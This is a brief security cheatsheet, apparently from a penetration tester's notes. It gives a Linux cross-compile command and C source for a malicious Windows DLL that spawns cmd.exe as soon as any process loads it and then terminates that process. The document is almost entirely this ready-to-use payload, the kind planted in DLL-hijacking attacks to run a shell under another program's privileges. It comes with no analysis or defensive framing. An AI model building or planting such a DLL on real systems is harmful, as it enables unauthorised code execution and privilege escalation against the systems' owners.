cheatsheets/cheatsheets/security/windows/malicious-dll.md

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title: Windows DLL to execute cmd.exe date: 2021-01-13 categories: [cheatsheets]

tags: [security, windows]

Windows DLL to execute cmd.exe

• Compile on Linux: x86_64-w64-mingw32-gcc malicous-dll.c -shared -o malicous.dll

  #include <windows.h>
  
  
  BOOL WINAPI DllMain(HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
  if (dwReason == DLL_PROCESS_ATTACH){
      system("cmd.exe");
      ExitProcess(0);
  }
  return TRUE;
  }